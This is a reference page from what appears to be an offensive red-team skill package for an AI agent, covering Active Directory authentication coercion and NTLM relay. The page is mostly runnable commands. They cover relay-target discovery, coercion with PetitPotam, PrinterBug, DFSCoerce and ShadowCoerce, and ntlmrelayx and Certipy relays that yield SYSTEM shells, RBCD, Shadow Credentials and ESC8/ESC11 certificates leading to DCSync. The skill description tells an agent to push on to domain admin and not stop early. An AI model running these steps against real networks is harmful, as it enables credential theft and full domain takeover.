pale-knight/redteam-skill / skills/ad-attack
ad-attack
VerifiedActive Directory exploitation after domain credentials exist: Kerberos (AS-REP/Kerberoast including cracking the ticket then using the account), delegation, NTLM coercion/relay, lateral movement, ACL abuse, ADCS ESC1-ESC17 and CVE paths, dMSA/BadSuccessor, Kerberos reflection, identity confusion, management-plane, domain trust, and domain persistence. Own the current AD chain through crack-and-use to DA, equivalent domain control, or the targeted host SYSTEM. Do not stop after requesting TGS. Host C2 belongs to /post. Operator chooses next modules.
| File | Kind | Size |
|---|---|---|
| SKILL.md | skill md | 6.3 KB |
| references/acl-abuse.md | markdown | 3.6 KB |
| references/adcs.md | markdown | 13.9 KB |
| references/auth-reflection.md | markdown | 4.5 KB |
| references/authentication-coercion-relay.md | markdown | 6.6 KB |
| references/dmsa.md | markdown | 6.1 KB |
| references/identity-confusion.md | markdown | 3.6 KB |
| references/kerberos-attacks.md | markdown | 2.9 KB |
| references/lateral-movement.md | markdown | 2.0 KB |
| references/management-plane.md | markdown | 2.1 KB |
references/authentication-coercion-relay.md
View on GitHub# Authentication Coercion + NTLM Relay — AD Attack Chain
> AD authentication attack chain。不再依赖 `/creds` 保存完整流程。`/creds` 以后只处理捕获到的 NetNTLM/hash 的识别、破解、复用。
>
> 本链的目标是 **host execution / RBCD / Shadow Credentials / 证书身份 / DA**。不要停在“coercion 扫到一个接口”。
```text
Coercion / inbound NTLM
↓
Relay prerequisite gate(signing / CBT / EPA)
↓
SMB / LDAP(S) / HTTP ADCS / RPC ICPR
↓
host SYSTEM / RBCD / Shadow Cred / ESC8 / ESC11
↓
继续当前 AD 链直到 DA / 目标身份
```
---
## 1. Relay viability
### SMB signing
```bash
nxc smb 10.10.10.0/24 --gen-relay-list relay-smb.txt
cat relay-smb.txt
nmap -Pn -p445 --script smb2-security-mode.nse TARGET
```
SMB signing required 的目标 **不是** 普通 SMB relay sink。
### LDAP signing / channel binding
Windows Server 2025 **新建 AD** 默认 LDAP signing;升级环境可能保留旧策略。不要用 OS 年份静态判断。
```text
LDAP signing required?
LDAPS channel binding required?
relay source 是否要求 SIGN/SEAL?
AD CS Web Enrollment EPA?
ICPR IF_ENFORCEENCRYPTICERTREQUEST?
```
Impacket LDAP relay 在客户端要求 signing 时会明确失败。失败就换 LDAPS/其他 sink,不要死磕。
---
## 2. Coercion family
Coercion 成功 ≠ relay 成功。下一步仍看 sink 的 signing/CBT/EPA/权限。
### Coercer — 先扫可用接口
```bash
pipx install coercer
Coercer scan -t DC01.corp.com -u jen -p 'pass' -d corp.com
Coercer coerce -t DC01.corp.com -l 10.10.14.20 -u jen -p 'pass' -d corp.com
```
覆盖多种 MS-RPC coercion。记下哪个 method 在目标上真实可用。
### PetitPotam — MS-EFSRPC
```bash
git clone https://github.com/topotam/PetitPotam.git
# 无凭据(未打补丁的 EFSRPC)
python3 PetitPotam.py 10.10.14.20 DC01.corp.com
# 有凭据
python3 PetitPotam.py -u jen -p 'pass' -d corp.com 10.10.14.20 DC01.corp.com
```
### PrinterBug / SpoolSample — MS-RPRN
```bash
# Python(Kali)
python3 printerbug.py corp.com/jen:pass@DC01.corp.com 10.10.14.20
# Windows
SpoolSample.exe DC01.corp.com 10.10.14.20
```
Print Spooler 未运行或被补丁限制时换其他 method。
### DFSCoerce — MS-DFSNM
```bash
git clone https://github.com/Wh04m1001/DFSCoerce.git
python3 dfscoerce.py -u jen -p 'pass' -d corp.com 10.10.14.20 DC01.corp.com
```
### ShadowCoerce — MS-FSRVP
File Server Remote VSS Protocol。从旧 `/edr-bypass` 迁回 AD。
```bash
git clone https://github.com/ShutdownRepo/ShadowCoerce.git
python3 shadowcoerce.py -u jen -p 'pass' -d corp.com 10.10.14.20 DC01.corp.com
```
目标需跑 File Server VSS。接口常见:`IsPathSupported` / `IsPathShadowCopied`。
---
## 3. Generic SMB relay → host execution
```bash
impacket-ntlmrelayx -tf relay-smb.txt -smb2support -c 'whoami'
# 或直接弹 SYSTEM shell(授权靶场)
impacket-ntlmrelayx -tf relay-smb.txt -smb2support -i
# 交互后:
# 可 secretsdump / 写文件 / 执行
```
触发:对 signing 未强制的目标跑上面任意 coercion。
成功:
```text
Authenticating against smb://TARGET as DOMAIN/USER SUCCEED
+ whoami / 命令输出
```
relayed 身份不是 local admin 时,认证成功 ≠ host execution。记真实权限,改 LDAP sink。
拿到 SYSTEM 后本 AD 链可以继续:dump、横向、DCSync(若已是 DA 等价)。不要因为出现 shell 就强制切 `/shell`。
---
## 4. LDAP relay → RBCD
条件:relayed 身份对目标计算机有足够 LDAP 写权限,且 LDAP relay 可行。
```bash
impacket-ntlmrelayx -t ldap://DC-IP -smb2support \
--delegate-access --escalate-user 'FAKE$'
```
检查 `msDS-AllowedToActOnBehalfOfOtherIdentity`,再按 `kerberos-attacks.md` 走 S4U 拿服务票、远程执行。
清理:删掉添加的 RBCD ACE。
---
## 5. LDAP relay → Shadow Credentials
Impacket 2026 支持 `--shadow-credentials`(KeyCreds 有 2026 适配)。
```bash
impacket-ntlmrelayx -t ldap://DC-IP -smb2support \
--shadow-credentials --shadow-target 'TARGET$' \
--cert-outfile-path target-shadow.pfx
```
条件:对 `TARGET$` 的 `msDS-KeyCredentialLink` 有写权限。
成功:KeyCredential 写入 + PFX 落地。随后 PKINIT 拿 TGT,继续 AD 横向。
清理:删除新增 KeyCredential。
---
## 6. HTTP relay → AD CS ESC8
模板/证书细节以 `adcs.md` 为准。
```bash
impacket-ntlmrelayx \
-t http://CA/certsrv/certfnsh.asp \
--adcs --template DomainController --smb2support
# 或 Certipy
certipy relay -target 'http://CA/certsrv/certfnsh.asp' -template DomainController
```
EPA 开启时 HTTP ESC8 会失败。换 ESC11 或其他链,不要把 EPA 当成 EDR。
成功:PFX → `certipy auth` → DC hash / TGT → DCSync。这是完整 AD 链,打到 DA。
---
## 7. RPC relay → ESC11(ICPR)
条件:CA **未** 设置 `IF_ENFORCEENCRYPTICERTREQUEST`,ICPR 接受未加密 NTLM。
枚举(Certipy 会标 ESC11):
```bash
certipy find -u jen@corp.com -p 'pass' -dc-ip DC-IP -vulnerable
# 找:Encryption is not enforced for ICPR / ESC11
```
Certipy:
```bash
certipy relay -target "rpc://CA-IP" -ca "CORP-CA" -template DomainController
```
Impacket:
```bash
impacket-ntlmrelayx -t rpc://CA-IP -rpc-mode ICPR \
-icpr-ca-name CORP-CA -smb2support
```
然后 coercion 强制 **DC 机器账户** 来认证。成功后同样 `certipy auth` + DCSync。
ESC11 是 AD relay sink,写在本文件;证书细节补充见 `adcs.md`。
---
## 8. CVE-2025-33073 SIGN/SEAL 移除
只有 `/ad-recon` 确认目标 build/patch 是候选时:
```bash
impacket-ntlmrelayx ... --remove-sign-seal
```
**不是** 默认参数。乱加会在已打补丁目标上直接失败并留特征。
---
## 9. 2026 Impacket 备注
当前 `ntlmrelayx` 相关能力:
```text
Shadow Credentials relay
WinRM relay 修复
MSSQL/RDP relay-server
ICPR/RPC
CVE-2025-33073 --remove-sign-seal
```
以你安装的 Impacket `-h` 为准。
---
## 10. Cleanup
```text
RBCD 恢复/删除 msDS-AllowedToActOnBehalfOfOtherIdentity
Shadow Cred 删除新增 msDS-KeyCredentialLink
AD CS 记录 serial/template;按授权撤销证书
机器账户 测试用 FAKE$ 用完删除
Relay 本身 不改 AD 对象;要清的是 sink 写入
```
### Primary references
- https://github.com/fortra/impacket/blob/master/examples/ntlmrelayx.py
- https://github.com/p0dalirius/Coercer
- https://github.com/topotam/PetitPotam
- https://github.com/Wh04m1001/DFSCoerce
- https://github.com/ShutdownRepo/ShadowCoerce
- https://github.com/leechristensen/SpoolSample
- https://github.com/ly4k/Certipy
- https://learn.microsoft.com/en-us/windows-server/identity/ad-ds/ldap-signing
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